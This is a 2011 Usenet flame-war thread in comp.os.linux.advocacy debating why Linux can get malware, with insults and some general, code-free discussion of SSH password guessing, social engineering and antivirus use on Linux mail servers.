f



Really 'dumb' question: why does Linux have viruses? linux virus, linux malware

Linux has viruses and malware.  See below.

Now please spin the facts and tell me why this is not so, Linux
cultists.

RL

http://www.av-comparatives.org/en/comparativesreviews/single-product-reviews

ESET NOD32 Antivirus 4 Business Edition for Linux Desktop May 2011
Review (english)

The growing availability of user-friendly Linux
operating systems for desktop and laptop PCs,
with business support packages available,
means that anti-malware solutions for Linux
are becoming more important. Security
software for Linux is  needed not only to
protect the computer itself, but also to
prevent malicious code aimed at other
systems, such as Windows, being passed
through the system. To counter such threats,
ESET have released ESET NOD32 Antivirus
Business Edition for Linux Desktop. For our
review, we installed the 32-bit Business
Edition, version 4.0.66.0, on 32-bit Ubuntu
Desktop Edition version 10.04. ESET also make
a Home Edition of the program, and both
Home and Business versions come in 32 and
64-bit versions.
0
raylopez88 (1520)
8/31/2011 7:03:42 AM
comp.os.linux.advocacy 124139 articles. 3 followers. Post Follow

287 Replies
1585 Views

Similar Articles

[PageSpeed] 2

RayLopez99 <raylopez88@gmail.com> writes:

> Linux has viruses and malware.  See below.
>
> Now please spin the facts and tell me why this is not so, Linux
> cultists.
>
> RL
>
> http://www.av-comparatives.org/en/comparativesreviews/single-product-reviews
>
> ESET NOD32 Antivirus 4 Business Edition for Linux Desktop May 2011
> Review (english)
>
> The growing availability of user-friendly Linux
> operating systems for desktop and laptop PCs,
> with business support packages available,
> means that anti-malware solutions for Linux
> are becoming more important. Security
> software for Linux is  needed not only to
> protect the computer itself, but also to
> prevent malicious code aimed at other
> systems, such as Windows, being passed
> through the system. To counter such threats,
> ESET have released ESET NOD32 Antivirus
> Business Edition for Linux Desktop. For our
> review, we installed the 32-bit Business
> Edition, version 4.0.66.0, on 32-bit Ubuntu
> Desktop Edition version 10.04. ESET also make
> a Home Edition of the program, and both
> Home and Business versions come in 32 and
> 64-bit versions.

It actually explains to you why.

WHile Linux CAN catch a virus its rare as its rarely targetted by the
usual techniques since the "dumb" userbase is so small - that and
reasonably secure interfaces to the outside world.

In fact how can you NOT understand from the explanation above?

I guess its like when you had c# and Java explained to you : you totally
ignored all input and just stated what you used for no apparent reason.
0
hadronquark (21814)
8/31/2011 7:15:41 AM
On Aug 31, 2:15=A0pm, Hadron<hadronqu...@gmail.com> wrote:
> RayLopez99 <raylope...@gmail.com> writes:
> > Linux has viruses and malware. =A0See below.
>
> > Now please spin the facts and tell me why this is not so, Linux
> > cultists.
>
> > RL
>
> >http://www.av-comparatives.org/en/comparativesreviews/single-product-...
>
> > ESET NOD32 Antivirus 4 Business Edition for Linux Desktop May 2011
> > Review (english)
>
> > The growing availability of user-friendly Linux
> > operating systems for desktop and laptop PCs,
> > with business support packages available,
> > means that anti-malware solutions for Linux
> > are becoming more important. Security
> > software for Linux is =A0needed not only to
> > protect the computer itself, but also to
> > prevent malicious code aimed at other
> > systems, such as Windows, being passed
> > through the system. To counter such threats,
> > ESET have released ESET NOD32 Antivirus
> > Business Edition for Linux Desktop. For our
> > review, we installed the 32-bit Business
> > Edition, version 4.0.66.0, on 32-bit Ubuntu
> > Desktop Edition version 10.04. ESET also make
> > a Home Edition of the program, and both
> > Home and Business versions come in 32 and
> > 64-bit versions.
>
> It actually explains to you why.
>
> WHile Linux CAN catch a virus its rare as its rarely targetted by the
> usual techniques since the "dumb" userbase is so small - that and
> reasonably secure interfaces to the outside world.
>
> In fact how can you NOT understand from the explanation above?
>
> I guess its like when you had c# and Java explained to you : you totally
> ignored all input and just stated what you used for no apparent reason.

Don't be so pissy Hadron.  We still play on the same team.  We are
both against Linux for our own reasons: you because you hate yourself
for using Linux, and I because I'm a Microsoft shareholder.  The enemy
of my enemy is my friend.  And you are my friend.  For now.

And yes, C# is superior to Java, see the thread there for more
details.  It was interesting to see others come to my conclusion.

Have a nice day,

--
RL  Atlanta, Georgia
0
raylopez88 (1520)
8/31/2011 7:17:44 AM
RayLopez99 <raylopez88@gmail.com> writes:

> On Aug 31, 2:15 pm, Hadron<hadronqu...@gmail.com> wrote:
>> RayLopez99 <raylope...@gmail.com> writes:
>> > Linux has viruses and malware.  See below.
>>
>> > Now please spin the facts and tell me why this is not so, Linux
>> > cultists.
>>
>> > RL
>>
>> >http://www.av-comparatives.org/en/comparativesreviews/single-product-...
>>
>> > ESET NOD32 Antivirus 4 Business Edition for Linux Desktop May 2011
>> > Review (english)
>>
>> > The growing availability of user-friendly Linux
>> > operating systems for desktop and laptop PCs,
>> > with business support packages available,
>> > means that anti-malware solutions for Linux
>> > are becoming more important. Security
>> > software for Linux is  needed not only to
>> > protect the computer itself, but also to
>> > prevent malicious code aimed at other
>> > systems, such as Windows, being passed
>> > through the system. To counter such threats,
>> > ESET have released ESET NOD32 Antivirus
>> > Business Edition for Linux Desktop. For our
>> > review, we installed the 32-bit Business
>> > Edition, version 4.0.66.0, on 32-bit Ubuntu
>> > Desktop Edition version 10.04. ESET also make
>> > a Home Edition of the program, and both
>> > Home and Business versions come in 32 and
>> > 64-bit versions.
>>
>> It actually explains to you why.
>>
>> WHile Linux CAN catch a virus its rare as its rarely targetted by the
>> usual techniques since the "dumb" userbase is so small - that and
>> reasonably secure interfaces to the outside world.
>>
>> In fact how can you NOT understand from the explanation above?
>>
>> I guess its like when you had c# and Java explained to you : you totally
>> ignored all input and just stated what you used for no apparent reason.
>
> Don't be so pissy Hadron.  We still play on the same team.  We are

I'm not on a team.

> both against Linux for our own reasons: you because you hate yourself
> for using Linux, and I because I'm a Microsoft shareholder.  The enemy
> of my enemy is my friend.  And you are my friend.  For now.

I dont hate Linux in the slightest. I hate COLA "advocates".

So you do understand what the AV stuff above is for then?

>
> And yes, C# is superior to Java, see the thread there for more
> details.  It was interesting to see others come to my conclusion.

No one else came to your conclusion give or take.
0
hadronquark (21814)
8/31/2011 7:23:41 AM
On Aug 31, 2:23=A0pm, Hadron<hadronqu...@gmail.com> wrote:
> RayLopez99 <raylope...@gmail.com> writes:
> >> I guess its like when you had c# and Java explained to you : you total=
ly
> >> ignored all input and just stated what you used for no apparent reason=
..
>
> > Don't be so pissy Hadron. =A0We still play on the same team. =A0We are
>
> I'm not on a team.

In your mind you are not on a team.  But in fact you are, de facto, on
a team:  the anti-Linux team.  And welcome to the team.  We have
already prevailed, and the rest now is mopping up action.  At one
point, as a MSFT shareholder in the late 90s (you can see my handle,
which I have not changed, posting to even this newsgroup back then) I
was genuinely afraid of Linux getting market share from MSFT.  But no
longer.  Open source, like communism, had a short run then died out.
For largely the same reasons as Karl Marx's pseudo-scientific
philosophy.

>
> > both against Linux for our own reasons: you because you hate yourself
> > for using Linux, and I because I'm a Microsoft shareholder. =A0The enem=
y
> > of my enemy is my friend. =A0And you are my friend. =A0For now.
>
> I dont hate Linux in the slightest. I hate COLA "advocates".
>

Yes, but you have to admit it's fun to beat up on these retards, who
show a certain monolithic approach to reality.  The putative German
Peter Kohlman is typical (I think also his English is limited, so he
tends to stick to stereotypical responses, which is common for EFL
students).

> So you do understand what the AV stuff above is for then?
>
>

Largely I take it for not "passing on" viruses to Windows based
systems when Linux is acting as a server?  Or what is your take?
Honestly I don't care--this is bad news for Linux, and I hope this
thread grows so the keywords "linux has viruses", "linux has malware",
"Linux is unsafe" get indexed by Google to help future users stay away
from Linux.

>
> > And yes, C# is superior to Java, see the thread there for more
> > details. =A0It was interesting to see others come to my conclusion.
>
> No one else came to your conclusion give or take.

No, read the response by the Hispanic surname'd poster who supported
me.

Have a nice day,

RL
0
raylopez88 (1520)
8/31/2011 7:30:45 AM
On 2011-08-31, the following emerged from the brain of RayLopez99:

> Don't be so pissy Hadron.  We still play on the same team.  We are
> both against Linux for our own reasons: you because you hate
> yourself for using Linux,

Haha, you're a fscking stupid troll, Dopez, but this is hilarious :-D

> and I because I'm a Microsoft shareholder.  The enemy of my enemy is
> my friend.  And you are my friend.  For now.

-- 
We are the COLA herd. Existence as you know it is over. You will be
assimilated. Resistance is futile.
0
8/31/2011 7:51:34 AM
TomB wrote:

> On 2011-08-31, the following emerged from the brain of RayLopez99:
>
>> Don't be so pissy Hadron.  We still play on the same team.  We are
>> both against Linux for our own reasons: you because you hate
>> yourself for using Linux,
>
> Haha, you're a fscking stupid troll, Dopez, but this is hilarious :-D

LMAO

>> and I because I'm a Microsoft shareholder.  The enemy of my enemy is
>> my friend.  And you are my friend.  For now.

 Although the Hadron M$ zealot denies he's anti-linux, & pretends he uses
a Linux distro, his anti-linux trolling & FUD is so blatant that even one of
the anti-linux wintrolls can see it.

Plus:-
"For somebody who does not even use Ubuntu and has on numerous occasions,
even in postings to this newsgroup, tried to discredit it, proves that
your postings in this newsgroup are only for the purpose of trolling
anti-Linux FUD as you have nothing better to do to occupy your time."
J G Miller ~ alt.os.linux.ubuntu
Message-ID: <i9et35$g38$1@news.eternal-september.org>

"There is /undoubtably/ a certain amount of hostility towards Linux in
the /majority/ of your posts. 
Your statement above is one /prime/ example. 
Google can reveal plenty others. Even a blind person 
reading this newsgroup could pretty quickly figure out that you /do/ appear 
to favor MS."
Stephan Rose  ~ alt.os.linux.ubuntu
Message-ID: <DoCdnQ1r36i7Bx_anZ2dnUVZ8uCdnZ2d@giganews.com>


-- 
In the professional world of astronomy
Linux is ubiquitous.
Nick Howes - Royal Astronomical Society.
& technical consultant to GEO (Spain).
0
wp2061 (3218)
8/31/2011 10:12:21 AM
On 08/31/2011 03:15 AM, Hadron wrote:
> RayLopez99<raylopez88@gmail.com>  writes:
>
>> Linux has viruses and malware.  See below.
>>
>> Now please spin the facts and tell me why this is not so, Linux
>> cultists.
>>
>> RL
>>
>> http://www.av-comparatives.org/en/comparativesreviews/single-product-reviews
>>
>> ESET NOD32 Antivirus 4 Business Edition for Linux Desktop May 2011
>> Review (english)
>>
>> The growing availability of user-friendly Linux
>> operating systems for desktop and laptop PCs,
>> with business support packages available,
>> means that anti-malware solutions for Linux
>> are becoming more important. Security
>> software for Linux is  needed not only to
>> protect the computer itself, but also to
>> prevent malicious code aimed at other
>> systems, such as Windows, being passed
>> through the system. To counter such threats,
>> ESET have released ESET NOD32 Antivirus
>> Business Edition for Linux Desktop. For our
>> review, we installed the 32-bit Business
>> Edition, version 4.0.66.0, on 32-bit Ubuntu
>> Desktop Edition version 10.04. ESET also make
>> a Home Edition of the program, and both
>> Home and Business versions come in 32 and
>> 64-bit versions.
>
> It actually explains to you why.

   Reading comprehension isn't his strong suit.

>
> WHile Linux CAN catch a virus its rare as its rarely targetted by the
> usual techniques since the "dumb" userbase is so small - that and
> reasonably secure interfaces to the outside world.
>
> In fact how can you NOT understand from the explanation above?
>
> I guess its like when you had c# and Java explained to you : you totally
> ignored all input and just stated what you used for no apparent reason.

   Which was his intent all along.

-- 
Norman
Registered Linux user #461062
AMD64X2 6400+ Ubuntu 10.04 64bit
0
npeelmandog (163)
8/31/2011 10:30:38 AM
On 31/08/2011 09:30, RayLopez99 wrote:
> On Aug 31, 2:23 pm, Hadron<hadronqu...@gmail.com>  wrote:
>> RayLopez99<raylope...@gmail.com>  writes:
<snip>

>>> both against Linux for our own reasons: you because you hate yourself
>>> for using Linux, and I because I'm a Microsoft shareholder.  The enemy
>>> of my enemy is my friend.  And you are my friend.  For now.
>>
<snip>
>
>> So you do understand what the AV stuff above is for then?
>>
>
> Largely I take it for not "passing on" viruses to Windows based
> systems when Linux is acting as a server?  Or what is your take?
> Honestly I don't care--this is bad news for Linux, and I hope this
> thread grows so the keywords "linux has viruses", "linux has malware",
> "Linux is unsafe" get indexed by Google to help future users stay away
> from Linux.
>


So basically what you are saying is that you have a financial interest 
in discouraging other people from using Linux, regardless of whether or 
not it is a good choice for them.  And you therefore hope that 
misinformation about malware on Linux is spread, so that fewer people 
will use Linux - all with the aim of increasing the value of your shares.

I am not sure there are words to describe an attitude like that.  It is 
certainly a lot worse than just being a moronic sycophant with a 
pathological inability to learn, listen, or use both brain cells at the 
same time.


For what it's worth - which is not a lot, since you are unable to read 
words that don't agree with you - the main market for anti-virus 
software on Linux is to stop Windows malware passing through.  Far and 
away the biggest use-case is for Linux mail servers to protect Windows 
users.

There have been cases of malware for Linux, but they have all been rare, 
spread poorly and done little damage.  There are many reasons why there 
is little malware on Linux - and therefore little call for anti-malware 
software targeting Linux directly.


The only big malware threat that faces Linux is attacks on web 
applications that often run on Linux - but that is a security problem of 
the application, not the OS.


0
david2384 (2168)
8/31/2011 12:05:12 PM
David Brown <david@westcontrol.removethisbit.com> writes:

> The only big malware threat that faces Linux is attacks on web applications that
> often run on Linux - but that is a security problem of the application, not the
> OS.

Whoever told you that nonsense?

Linux can be and is hacked.

It doesnt happen often but to encourage some sort of smug "I'm alright
jack" attitude is irresponsbile. Linux is as prone to social engineering
attacks as anyone else. Once they have any form of script running its
theres (please dont start on about how it must have the execute bit set
etc etc as thats all nonsense and has been disproven numerous
times). Various entry points exist not least dodgy tars containing
malicious make files, basj scripts etc. No, it doesnt happen often -
primarily because the naive desktop consumer usage of Linux is next to
non existent.

And thats before we even go into the issues with kernel vulnerabilities
etc etc which are uncovered all the time and generally fixed - the point
is its not fool proof as many like to portray.

Just look at the Linux mobile phone problems : Android is a malware
riddled mess in many cases.

0
hadronquark (21814)
8/31/2011 12:15:43 PM
William Poaster wrote:

> Although the Hadron M$ zealot denies he's anti-linux, & pretends he uses
>a Linux distro, his anti-linux trolling & FUD is so blatant that even one of
>the anti-linux wintrolls can see it.

"Hadron" takes the pro-Micro$oft, anti-FOSS side of *every* issue.

Such a "true Linux advocate" he is.

-- 
"Too many clueless weenines like the COLA faithful havent a CLUE about
the GPL and consequences."  -  "True Linux advocate" Hadron Quark
0
chrisv (22840)
8/31/2011 12:31:44 PM
useless jackass "chrisv" <chrisv@nospam.invalid> wrote in message 
news:l8as57lh85l59q7qd7hps0h51dkd4akuqu@4ax.com...
>
> Such a "true Linux advocate" he is.

such a useless piece of shit you are.

"chrisv" is a liar. "chrisv" is a piece of shit. 


0
uli1889 (17)
8/31/2011 1:18:15 PM
On 31/08/2011 14:15, Hadron wrote:
> David Brown<david@westcontrol.removethisbit.com>  writes:
>
>> The only big malware threat that faces Linux is attacks on web applications that
>> often run on Linux - but that is a security problem of the application, not the
>> OS.
>
> Whoever told you that nonsense?
>
> Linux can be and is hacked.
>

Linux can certainly be cracked - but in the majority cases, it is not 
due to malware, but simply poor security practices.  The most common 
example is ssh exploitation with bad passwords.  You break into a Linux 
machine by trying ssh with username "root", password "root" or "password".

With default installs for most distributions, Linux is fairly secure - 
assuming you have picked good passwords.  But you can make it insecure 
if you open services thoughtlessly.  You can also make it /very/ secure 
if you want.

> It doesnt happen often but to encourage some sort of smug "I'm alright
> jack" attitude is irresponsbile.

I agree that Linux is not 100% secure - no system is.  But there is also 
no doubt that Linux is /much/ more secure, and /much/ safer from malware 
and other threats than Windows is.  It is certainly possible to make a 
Windows system reasonably safe.  I run the IT department at my office, 
and almost all desktops are Windows - we have had very few incidents of 
malware, and no successful cracks, attacks, or worms.  But it is both 
realistic and responsible to say that for a normal desktop/laptop Linux 
user using a modern distro, you simply don't have to worry about 
malware.  You don't have to install anti-virus software, third-party 
firewalls, spyware detection software, etc.  You don't have to keep 
these up-to-date or pay for subscriptions.  You don't even have to keep 
your system up-to-date (though it is easy to do so) - although security 
holes are found and fixed, they are seldom exploited so your risks are low.


If you are running a nuclear power station, you need to worry about your 
Linux security.  If you are a typical home user - install Linux and 
forget about security and malware.

> Linux is as prone to social engineering
> attacks as anyone else.

No, they are not - at least, not at the moment.  It would be a different 
matter if there were a higher percentage of people using Linux on 
desktops.  But the majority of people using Linux are people who have 
made an active choice to use it - these are people who are more 
technically competent, and less likely to follow instructions 
thoughtlessly.  Linux users are by no means immune to social engineering 
- but the average Linux user is much less susceptible than the average 
Windows user.  And of course, there is the old "common target" argument 
- since the great majority of target users run Windows, phishing, 
"update your paypal account", and other social engineering efforts 
target Windows users and not Linux.

> Once they have any form of script running its
> theres (please dont start on about how it must have the execute bit set
> etc etc as thats all nonsense and has been disproven numerous
> times).

Ok, I won't mention the execute bit - there are ways around that.  You 
still have the "root access" limitation, however.  Without root access, 
any malicious script will only be able to read or affect the user's 
files, not the rest of the system.  Of course, it's the user's files 
that are important data, so that's still no small matter.  But it is 
nevertheless a help - when your teenager borrows your machine to visit 
dodgy websites, he may mess up his own files but not yours.

One way to get malware onto Linux machines, however, is by using things 
like "apt://" links to packages - this gives an easier way into root 
privileges.  But even then, the user will have to manually enter their 
password (or the root password).  And the non-homogeneity of Linux means 
that an attacker would need to make a series of dpkg and rpm packages.

It is not impossible to make Linux malware - it is just very hard to 
make Linux malware that actually does something useful (to the author) 
and spreads successfully.  Maybe one day the percentage of desktop users 
with Linux will be high enough that someone will make the effort.  But 
for now, the biggest malware danger on desktop Linux is probably that 
Wine is getting so good at running Windows programs that it happily runs 
many types of Windows malware...


> Various entry points exist not least dodgy tars containing
> malicious make files, basj scripts etc. No, it doesnt happen often -
> primarily because the naive desktop consumer usage of Linux is next to
> non existent.
>
> And thats before we even go into the issues with kernel vulnerabilities
> etc etc which are uncovered all the time and generally fixed - the point
> is its not fool proof as many like to portray.
>

The huge majority of kernel vulnerabilities (or vulnerabilities in other 
system software) are obscure - they are typically things like race 
conditions triggered by weird malformed network packets.  It is very 
rare that such vulnerabilities can be reliably exploited in practice, 
and even rarer that they /are/ exploited.

It still makes good sense to update to fix these - but it does not make 
sense for a normal desktop user to worry about them.

> Just look at the Linux mobile phone problems : Android is a malware
> riddled mess in many cases.
>

Android is effectively a massive java application running on Linux - and 
that /application/ has plenty of security holes.  No arguments there.

0
david2384 (2168)
8/31/2011 1:28:39 PM
On 31/08/2011 6:30 AM, Norman Peelman wrote:
[snip the blather]

Firstly, I notice that many of the updates offered via Update Manager on 
the Ubu laptop are labelled "security updates", usually with an urgent 
message to install them right now.

Secondly, Linux is very difficult to infect, but it's not impossible.

a) If a human gives an evil program permission to download and execute, 
it will inherit all that user's permissions. Since most single-user 
systems have a pretty high level of permissions (just one below sudo, 
usually), that means the evil program can do a bunch of evil stuff. It's 
surprisingly easy to persuade people to download stuff, open links, etc.

b) any program that communicates with the web is vulnerable to stealth 
attacks, no matter what the OS.

So, sure, Linux is vulnerable to malware. Why would anyone be surprised 
at that?

Ciao,
Wolf K.
0
wekirch (32)
8/31/2011 1:35:01 PM
David Brown <david@westcontrol.removethisbit.com> writes:

> On 31/08/2011 14:15, Hadron wrote:
>> David Brown<david@westcontrol.removethisbit.com>  writes:
>>
>>> The only big malware threat that faces Linux is attacks on web applications that
>>> often run on Linux - but that is a security problem of the application, not the
>>> OS.
>>
>> Whoever told you that nonsense?
>>
>> Linux can be and is hacked.
>>
>
> Linux can certainly be cracked - but in the majority cases, it is not due to
> malware, but simply poor security practices.  The most common example is ssh
> exploitation with bad passwords.  You break into a Linux machine by trying ssh
> with username "root", password "root" or "password".
>
> With default installs for most distributions, Linux is fairly secure - 
> assuming you have picked good passwords.  But you can make it insecure if you
> open services thoughtlessly.  You can also make it /very/ secure if
> you want.

Agreed. But that is not the issue.
>
>> It doesnt happen often but to encourage some sort of smug "I'm alright
>> jack" attitude is irresponsbile.
>
> I agree that Linux is not 100% secure - no system is.  But there is also no
> doubt that Linux is /much/ more secure, and /much/ safer from malware and other
> threats than Windows is.  It is certainly possible to make a Windows system
> reasonably safe.  I run the IT department at my office, and almost all desktops
> are Windows - we have had very few incidents of malware, and no successful
> cracks, attacks, or worms.  But it is both realistic and responsible to say that
> for a normal desktop/laptop Linux user using a modern distro, you simply don't
> have to worry about malware.  You don't have to install anti-virus software,
> third-party firewalls, spyware detection software, etc.  You don't have to keep
> these up-to-date or pay for subscriptions.  You don't even have to keep your
> system up-to-date (though it is easy to do so) - although security holes are
> found and fixed, they are seldom exploited so your risks are low.
>
> If you are running a nuclear power station, you need to worry about your Linux
> security.  If you are a typical home user - install Linux and forget about
> security and malware.
>
>> Linux is as prone to social engineering
>> attacks as anyone else.
>
> No, they are not - at least, not at the moment.  It would be a different matter
> if there were a higher percentage of people using Linux on desktops.  But the
> majority of people using Linux are people who have made an active choice to use
> it - these are people who are more technically competent, and less
> likely to

I actually made that point. I wont check if you snipped it since you're
clearly not just spouting nonsense and only want to clarify rather than
distort which is more the norm in COLA. But Linux itself is as
prone. The users are less likely to apply it though.

> follow instructions thoughtlessly.  Linux users are by no means immune to social
> engineering - but the average Linux user is much less susceptible than the
> average Windows user.  And of course, there is the old "common target" argument
> - since the great majority of target users run Windows, phishing, "update your
> paypal account", and other social engineering efforts target Windows users and
> not Linux.

That and the old joke that most Linux users are too tight to buy
anything with a credit card online anyway ;)

>
>> Once they have any form of script running its
>> theres (please dont start on about how it must have the execute bit set
>> etc etc as thats all nonsense and has been disproven numerous
>> times).
>
> Ok, I won't mention the execute bit - there are ways around that.  You still
> have the "root access" limitation, however.  Without root access, any malicious
> script will only be able to read or affect the user's files, not the rest of the
> system.  Of course, it's the user's files that are important data, so that's
> still no small matter.  But it is nevertheless a help - when your
> teenager

I am glad you recognise that. Most COLA "fanbois" dont.

> borrows your machine to visit dodgy websites, he may mess up his own files but
> not yours.

Well, true and not so true. If he has some script cronned into his user
account and your files are visible, which they frequently are, prepre to
have them read and transmitted.

>
> One way to get malware onto Linux machines, however, is by using things like
> "apt://" links to packages - this gives an easier way into root privileges.  But
> even then, the user will have to manually enter their password (or the root
> password).  And the non-homogeneity of Linux means that an attacker would need
> to make a series of dpkg and rpm packages.

Or a user space script prompt for a sudo password and keeps it... Its
not too hard ;)

>
> It is not impossible to make Linux malware - it is just very hard to make Linux
> malware that actually does something useful (to the author) and spreads
> successfully.  Maybe one day the percentage of desktop users with Linux will be
> high enough that someone will make the effort.  But for now, the biggest malware
> danger on desktop Linux is probably that Wine is getting so good at running
> Windows programs that it happily runs many types of Windows malware...

I think Wine is getting worse and is doomed. Virtualisation is taking over.

>
>> Various entry points exist not least dodgy tars containing
>> malicious make files, basj scripts etc. No, it doesnt happen often -
>> primarily because the naive desktop consumer usage of Linux is next to
>> non existent.
>>
>> And thats before we even go into the issues with kernel vulnerabilities
>> etc etc which are uncovered all the time and generally fixed - the point
>> is its not fool proof as many like to portray.
>>
>
> The huge majority of kernel vulnerabilities (or vulnerabilities in other system
> software) are obscure - they are typically things like race conditions triggered
> by weird malformed network packets.  It is very rare that such vulnerabilities
> can be reliably exploited in practice, and even rarer that they /are/
> exploited.

And all down to user base.

>
> It still makes good sense to update to fix these - but it does not make sense
> for a normal desktop user to worry about them.

Not at the moment no.

>
>> Just look at the Linux mobile phone problems : Android is a malware
>> riddled mess in many cases.
>>
>
> Android is effectively a massive java application running on Linux - and that
> /application/ has plenty of security holes.  No arguments there.

As are many of the Apps which run on Linux desktops. Do users really
know what the plugins for Amarok etc etc are doing? No.

Thanks for your reasonable and accurate response. It did not differ much
from what I said.
0
hadronquark (21814)
8/31/2011 1:39:36 PM
On 31/08/2011 15:39, Hadron wrote:
> David Brown<david@westcontrol.removethisbit.com>  writes:
>
>> On 31/08/2011 14:15, Hadron wrote:
>>> David Brown<david@westcontrol.removethisbit.com>   writes:
>>>
>>>> The only big malware threat that faces Linux is attacks on web applications that
>>>> often run on Linux - but that is a security problem of the application, not the
>>>> OS.
>>>
>>> Whoever told you that nonsense?
>>>
>>> Linux can be and is hacked.
>>>
>>
>> Linux can certainly be cracked - but in the majority cases, it is not due to
>> malware, but simply poor security practices.  The most common example is ssh
>> exploitation with bad passwords.  You break into a Linux machine by trying ssh
>> with username "root", password "root" or "password".
>>
>> With default installs for most distributions, Linux is fairly secure -
>> assuming you have picked good passwords.  But you can make it insecure if you
>> open services thoughtlessly.  You can also make it /very/ secure if
>> you want.
>
> Agreed. But that is not the issue.
>>
>>> It doesnt happen often but to encourage some sort of smug "I'm alright
>>> jack" attitude is irresponsbile.
>>
>> I agree that Linux is not 100% secure - no system is.  But there is also no
>> doubt that Linux is /much/ more secure, and /much/ safer from malware and other
>> threats than Windows is.  It is certainly possible to make a Windows system
>> reasonably safe.  I run the IT department at my office, and almost all desktops
>> are Windows - we have had very few incidents of malware, and no successful
>> cracks, attacks, or worms.  But it is both realistic and responsible to say that
>> for a normal desktop/laptop Linux user using a modern distro, you simply don't
>> have to worry about malware.  You don't have to install anti-virus software,
>> third-party firewalls, spyware detection software, etc.  You don't have to keep
>> these up-to-date or pay for subscriptions.  You don't even have to keep your
>> system up-to-date (though it is easy to do so) - although security holes are
>> found and fixed, they are seldom exploited so your risks are low.
>>
>> If you are running a nuclear power station, you need to worry about your Linux
>> security.  If you are a typical home user - install Linux and forget about
>> security and malware.
>>
>>> Linux is as prone to social engineering
>>> attacks as anyone else.
>>
>> No, they are not - at least, not at the moment.  It would be a different matter
>> if there were a higher percentage of people using Linux on desktops.  But the
>> majority of people using Linux are people who have made an active choice to use
>> it - these are people who are more technically competent, and less
>> likely to
>
> I actually made that point. I wont check if you snipped it since you're
> clearly not just spouting nonsense and only want to clarify rather than
> distort which is more the norm in COLA. But Linux itself is as
> prone. The users are less likely to apply it though.
>

(I didn't snip your comment about low "naive desktop consumer usage of 
Linux" - just re-expressed it in a more relevant way.)

We agree on the main point - (current) Linux users are less likely to be 
prone to social engineering.  But I also think Linux itself is less 
vulnerable, since "activating" social engineering attacks usually takes 
more clicks, password entries, etc., in Linux.  More clicks and effort 
means more time for common sense to kick in and stop you.  The 
difference here between Windows and Linux has changed over the years, 
however.

Windows has traditionally had the attitude that things should be as easy 
as possible - things should happen automatically without user 
intervention, or with a minimum of clicks and choices.  The good side of 
this is obvious, but it has a bad side too - it has made life as easy as 
possible for malware authors.  Thus you had an email client that would 
happily auto-open attachments, autorun.inf on CDs and usb sticks, etc., 
etc.  Windows has got gradually saner in this respect, and obviously it 
helps to use non-MS email and web clients (though again MS's clients 
have improved).  Linux, on the other hand, has got gradually easier in 
this way (with apt:// links as an example).  So social engineering 
attacks are harder than they used to be on Windows, and easier than they 
used to be on Linux - but I still think Linux is safer here.

>> follow instructions thoughtlessly.  Linux users are by no means immune to social
>> engineering - but the average Linux user is much less susceptible than the
>> average Windows user.  And of course, there is the old "common target" argument
>> - since the great majority of target users run Windows, phishing, "update your
>> paypal account", and other social engineering efforts target Windows users and
>> not Linux.
>
> That and the old joke that most Linux users are too tight to buy
> anything with a credit card online anyway ;)
>
>>
>>> Once they have any form of script running its
>>> theres (please dont start on about how it must have the execute bit set
>>> etc etc as thats all nonsense and has been disproven numerous
>>> times).
>>
>> Ok, I won't mention the execute bit - there are ways around that.  You still
>> have the "root access" limitation, however.  Without root access, any malicious
>> script will only be able to read or affect the user's files, not the rest of the
>> system.  Of course, it's the user's files that are important data, so that's
>> still no small matter.  But it is nevertheless a help - when your
>> teenager
>
> I am glad you recognise that. Most COLA "fanbois" dont.
>
>> borrows your machine to visit dodgy websites, he may mess up his own files but
>> not yours.
>
> Well, true and not so true. If he has some script cronned into his user
> account and your files are visible, which they frequently are, prepre to
> have them read and transmitted.
>

That depends on the distro - many distros make user's home directories 
unreadable to others.  It's certainly a possibility that the malicious 
script can read other files - but that's generally not as bad as being 
able to write them.

>>
>> One way to get malware onto Linux machines, however, is by using things like
>> "apt://" links to packages - this gives an easier way into root privileges.  But
>> even then, the user will have to manually enter their password (or the root
>> password).  And the non-homogeneity of Linux means that an attacker would need
>> to make a series of dpkg and rpm packages.
>
> Or a user space script prompt for a sudo password and keeps it... Its
> not too hard ;)
>
>>
>> It is not impossible to make Linux malware - it is just very hard to make Linux
>> malware that actually does something useful (to the author) and spreads
>> successfully.  Maybe one day the percentage of desktop users with Linux will be
>> high enough that someone will make the effort.  But for now, the biggest malware
>> danger on desktop Linux is probably that Wine is getting so good at running
>> Windows programs that it happily runs many types of Windows malware...
>
> I think Wine is getting worse and is doomed. Virtualisation is taking over.
>

There are advantages and disadvantages of both approaches - it's good to 
have the choice.

>>
>>> Various entry points exist not least dodgy tars containing
>>> malicious make files, basj scripts etc. No, it doesnt happen often -
>>> primarily because the naive desktop consumer usage of Linux is next to
>>> non existent.
>>>
>>> And thats before we even go into the issues with kernel vulnerabilities
>>> etc etc which are uncovered all the time and generally fixed - the point
>>> is its not fool proof as many like to portray.
>>>
>>
>> The huge majority of kernel vulnerabilities (or vulnerabilities in other system
>> software) are obscure - they are typically things like race conditions triggered
>> by weird malformed network packets.  It is very rare that such vulnerabilities
>> can be reliably exploited in practice, and even rarer that they /are/
>> exploited.
>
> And all down to user base.
>

No, not /all/ down to the user base.  It is mostly a matter of a better 
design and a better implementation of the OS.  The smaller user base - 
and therefore fewer attackers, and fewer hosts to spread - is an extra 
bonus that makes Linux even more secure.

It's a myth that Linux security is due to its small user base.  It 
doesn't take much understanding, or much web research, to see that. It's 
no better a claim than if Linux fans say that Windows is full of holes 
and a security joke.  Low user base is a mixed blessing - few bad guys 
finding holes, fewer good guys finding holes.

>>
>> It still makes good sense to update to fix these - but it does not make sense
>> for a normal desktop user to worry about them.
>
> Not at the moment no.
>
>>
>>> Just look at the Linux mobile phone problems : Android is a malware
>>> riddled mess in many cases.
>>>
>>
>> Android is effectively a massive java application running on Linux - and that
>> /application/ has plenty of security holes.  No arguments there.
>
> As are many of the Apps which run on Linux desktops. Do users really
> know what the plugins for Amarok etc etc are doing? No.
>

One big difference is that with normal Linux distros, you get most 
(often all) of your software from the distro, with packages that are 
signed by the distro, and for which the distro maintainers have the 
source code.  While the quality of the security checking varies with the 
distro, it is much harder (not impossible, but harder) to get malware 
into the package.

With Android, people get software from all over, and most of it is in 
closed-source form.  There is no one doing any sort of checking on the 
security of the packages (at least, no one doing a good enough job).  In 
this sense, it is more like Windows where people get software from 
random web sites, with no idea if they contain malware or security 
problems, and no good way of checking.


> Thanks for your reasonable and accurate response. It did not differ much
> from what I said.

I think we differ more than you imply here - but I try to be realistic 
rather than fanatic.

0
david2384 (2168)
8/31/2011 2:55:15 PM
Wolf K wrote:
